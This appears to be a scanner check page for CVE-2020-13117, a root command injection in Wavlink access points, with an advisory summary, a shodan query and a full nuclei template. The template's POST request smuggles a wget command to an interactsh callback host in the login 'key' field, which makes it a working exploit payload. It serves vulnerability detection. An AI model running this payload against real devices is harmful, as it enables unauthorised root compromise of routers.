Wavlink Multiple AP - Remote Command Injection

criticalseverity

9.8CVSS score

68.6%likelihood of exploitation, next 30 days

99%of all CVEs are less likely

Readycheck to confirm it

Wavlink products are affected by a vulnerability that may allow remote unauthenticated users to execute arbitrary commands as root on Wavlink devices. The user input is not properly sanitized which allows command injection via the "key" parameter in a login request. It has been tested on Wavlink WN575A4 and WN579X3 devices, but other products may also be affected.

Impact

Successful exploitation of this vulnerability could lead to unauthorized access, data leakage, and potential compromise of the affected device.

Fix

Apply the latest firmware update provided by the vendor to mitigate this vulnerability.

How to confirm it

Send: POST /cgi-bin/login.cgi
Positive when: contains in interactsh_protocol "http" AND contains "parent.location.replace" AND status 200

Run it with nuclei: nuclei -id CVE-2020-13117 -u <target>

The full check

id: CVE-2020-13117

info:
  name: Wavlink Multiple AP - Remote Command Injection
  author: gy741
  severity: critical
  description: Wavlink products are affected by a vulnerability that may allow remote unauthenticated users to execute arbitrary commands as root on Wavlink devices. The user input is not properly sanitized which allows command injection via the "key" parameter in a login request. It has been tested on Wavlink WN575A4 and WN579X3 devices, but other products may also be affected.
  impact: |
    Successful exploitation of this vulnerability could lead to unauthorized access, data leakage, and potential compromise of the affected device.
  remediation: |
    Apply the latest firmware update provided by the vendor to mitigate this vulnerability.
  reference:
    - https://blog.0xlabs.com/2021/02/wavlink-rce-CVE-2020-13117.html
    - https://nvd.nist.gov/vuln/detail/CVE-2020-13117
    - https://github.com/20142995/sectool
    - https://github.com/ARPSyndicate/cvemon
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2020-13117
    cwe-id: CWE-77
    epss-score: 0.68576
    epss-percentile: 0.99346
    cpe: cpe:2.3:h:wavlink:wn575a4:-:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: wavlink
    product: wn575a4
    shodan-query: http.title:"Wi-Fi APP Login"
  tags: cve,cve2020,wavlink,rce,oast,router,vkev,vuln

http:
  - raw:
      - |
        POST /cgi-bin/login.cgi HTTP/1.1
        Host: {{Hostname}}
        Origin: http://{{Hostname}}
        Content-Type: application/x-www-form-urlencoded
        Accept-Encoding: gzip, deflate

        newUI=1&page=login&username=admin&langChange=0&ipaddr=192.168.1.66&login_page=login.shtml&homepage=main.shtml&sysinitpage=sysinit.shtml&hostname=wifi.wavlink.com&key=%27%3B%60wget+http%3A%2F%2F{{interactsh-url}}%3B%60%3B%23&password=asd&lang_select=en

    matchers-condition: and
    matchers:
      - type: word
        part: interactsh_protocol # Confirms the HTTP Interaction
        words:
          - "http"

      - type: word
        part: body
        words:
          - "parent.location.replace"

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from